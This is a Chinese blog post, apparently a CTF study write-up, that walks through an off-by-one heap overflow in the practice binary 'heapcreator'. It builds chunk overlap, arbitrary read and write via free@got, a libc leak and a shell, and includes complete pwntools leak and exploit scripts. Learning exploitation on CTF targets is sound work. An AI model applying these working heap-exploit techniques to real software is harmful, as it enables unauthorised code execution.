1322 字
7 分钟

堆溢出进行中

2026-05-26
2026-06-01
浏览量 加载中...

1.堆溢出泄露libc版本加getshell#

image-20260526182131579

off-by-one:#

image-20260526182309566

image-20260526191308738

image-20260526191317771

程序的创建堆块的功能,申请了一个16字节大小的结构体。

经过分析,可以得到:

struct heap {
size_t size; #8
char *content; #8
};

题目中 heaparray[i] 也就是 &heaparray+i 存放了这个结构体的地址。

后面的代码也表示了:

heaparray[i] = malloc(0x10); // 结构体
heaparray[i]->content = malloc(size); // 真正内容区
heaparray[i]->size = size;
+----------------+
| size | 8字节
+----------------+
| content ptr | 8字节
+----------------+

由于上面特定标注的 off by one 代码 read_input(heaparray[i]->content, heaparray[i]->size + 1);

正常来说,如果一个 chunk 申请了 size 字节,那最多只能写 size 字节。

但这里程序允许写:

size + 1

说明这边可以多写一个字节,一个字节的溢出在很多情况下都是高危漏洞的起始,像之前看见的CVE-2024-2961。

堆块在内存里通常是相邻的。

假设有两个相邻 chunk:

A chunk
B chunk

如果你编辑 A,本来只能写满 A 的用户区。 但现在能多写 1 字节,这最后 1 字节就会越界到 B 的 chunk header

最常见的就是改到:

B 的 size 字段低字节

低字节说法是因为,程序数据都是先到的先进,后到的后进。

在这道题目中:

我们先布置三个堆:
idx0 : create(0x18, "/bin/sh...")
idx1 : create(0x10, "bbbb")
idx2 : create(0x10, "cccc")

排列为:

S0
C0
S1
C1
S2
C2
  • S0 = idx0 的结构体

  • C0 = idx0 的内容

  • S1 = idx1 的结构体

  • C1 = idx1 的内容

  • S2 = idx2 的结构体

  • C2 = idx2 的内容

一个块大小为0x18,但程序允许写0x19的数据,就可以溢出到S1,也就是idx1结构体。

原本 S1malloc(0x10),它对应的 chunk size 低字节一般是:

0x21

我们把它改成:

0x41

也就是:

把一个原本 0x20 的 chunk,伪造成 0x40 的 chunk

chunk为什么20,这边暂时不解释了。

这样:

既把 chunk 变大了,又不破坏 glibc 的基本一致性检查

接下来我们:

delete(1)

这会释放两块:

free(C1)
free(S1)

但是 S1 的 size 已经被我们改成了 0x41

这就导致:

C1 按 0x20 chunk 进入 fastbin
S1 按 0x40 chunk 进入 fastbin

然后我们再执行一次:

create(0x30, payload)

这次内部还是两次 malloc:

malloc(0x10) // 新结构体
malloc(0x30) // 新内容区

由于前面 free 了 idx1

  • 第一次 malloc(0x10) 会优先拿到旧的 C1
  • 第二次 malloc(0x30) 会优先拿到被伪造成 0x40 的旧 S1

于是就出现了一个非常关键的现象:

新的 content 区域,会覆盖到新的 struct 所在的位置

也就是说:

content 和 struct 重叠了

这就产生了:

overlap

这个重叠可以修改结构体。

本来结构体应该是:

struct heap {
size_t size;
char *content;
};

我们通过overleap它改造成:

struct heap {
size_t size = 0x30;
char *content = free@got;
};

这意味着:

  • show(1) 读的其实是 free@got
  • edit(1) 写的其实是 free@got

也就是说,我们拿到了:

任意地址读 / 任意地址写

换算到栈溢出这边就是,我们利用栈溢出修改地址,让打印的功能出现打印函数地址。

由于这一题没有给libc,所以首当其冲,我们就是要利用任意地址写,然后show,读取函数地址,然后多次泄露地址,确认libc版本。

泄露exp:#

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./heapcreator')
def start():
return process('./heapcreator')
# return remote('node4.buuoj.cn', 12345)
def create(io, size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Size of Heap : ', str(size).encode())
io.sendafter(b'Content of heap:', content)
def edit(io, idx, content):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(idx).encode())
io.sendafter(b'Content of heap : ', content)
def show(io, idx):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(idx).encode())
def delete(io, idx):
io.sendlineafter(b'Your choice :', b'4')
io.sendlineafter(b'Index :', str(idx).encode())
def leak_one(got_addr):
io = start()
create(io, 0x18, b'/bin/sh\x00' + b'a' * 0x10) # 0
create(io, 0x10, b'b' * 0x10) # 1
create(io, 0x10, b'c' * 0x10) # 2
# off-by-one: 改 idx1 struct chunk 的 size 低字节
edit(io, 0, b'/bin/sh\x00' + b'a' * 0x10 + b'\x41')
# 释放 idx1
delete(io, 1)
# 复用 idx1,制造 overlap,伪造 idx1 的 struct
payload = b'd' * 0x20
payload += p64(0x30)
payload += p64(got_addr)
create(io, 0x30, payload) # 复用 idx1
# 泄露
show(io, 1)
io.recvuntil(b'Content : ')
leak = io.recvuntil(b'\n', drop=True)
addr = u64(leak.ljust(8, b'\x00'))
io.close()
return addr
free_addr = leak_one(elf.got['free'])
puts_addr = leak_one(elf.got['puts'])
atoi_addr = leak_one(elf.got['atoi'])
print('free =', hex(free_addr))
print('puts =', hex(puts_addr))
print('atoi =', hex(atoi_addr))

由于程序的 delete 本质上会调用:

free(heaparray[idx]->content);

如果我们把:

free@got = system

那程序表面上执行的是:

free(ptr)

实际上就变成:

system(ptr)

于是只要某个 chunk 的内容是:

/bin/sh\x00

那么执行:

delete(那个chunk)

就等价于:

system("/bin/sh");

这就是一开始idx为binsh的原因。

exp.py:#

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./heapcreator')
io = remote('node5.buuoj.cn', 25391)
free_offset = 0x844f0
system_offset = 0x45390
def create(size, content):
io.sendlineafter(b'Your choice :', b'1')
io.sendlineafter(b'Size of Heap : ', str(size).encode())
io.sendafter(b'Content of heap:', content)
def edit(idx, content):
io.sendlineafter(b'Your choice :', b'2')
io.sendlineafter(b'Index :', str(idx).encode())
io.sendafter(b'Content of heap : ', content)
def show(idx):
io.sendlineafter(b'Your choice :', b'3')
io.sendlineafter(b'Index :', str(idx).encode())
def delete(idx):
io.sendlineafter(b'Your choice :', b'4')
io.sendlineafter(b'Index :', str(idx).encode())
free_got = elf.got['free']
# 0: 最后 delete(0) 触发 system("/bin/sh")
create(0x18, b'/bin/sh\x00' + b'a' * 0x10) # idx 0
create(0x10, b'b' * 0x10) # idx 1
create(0x10, b'c' * 0x10) # idx 2
# off-by-one: 改 idx1_struct 的 chunk size 低字节
edit(0, b'/bin/sh\x00' + b'a' * 0x10 + b'\x41')
# 释放 idx1
delete(1)
# overlap,伪造 idx1 的 struct
payload = b'd' * 0x20
payload += p64(0x30)
payload += p64(free_got)
create(0x30, payload) # 复用 idx1
# leak free
show(1)
io.recvuntil(b'Content : ')
free_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
log.success('free_addr = ' + hex(free_addr))
libc_base = free_addr - free_offset
system_addr = libc_base + system_offset
log.success('libc_base = ' + hex(libc_base))
log.success('system_addr = ' + hex(system_addr))
# 改 free@got = system
edit(1, p64(system_addr))
# 触发 system("/bin/sh")
delete(0)
io.interactive()

2.off-by-one null(一字节越位的空字节)#

image-20260527183643535


  • 版权声明:本文由 余林阳 创作,转载请注明出处。

喜欢这篇文章吗?

点击右侧按钮为文章点赞,让更多人看到!

堆溢出进行中
https://sliver-yu.cc/posts/学习/堆溢出进行中/
作者
余林阳
发布于
2026-05-26
许可协议
CC BY-NC-SA 4.0

评论区

目录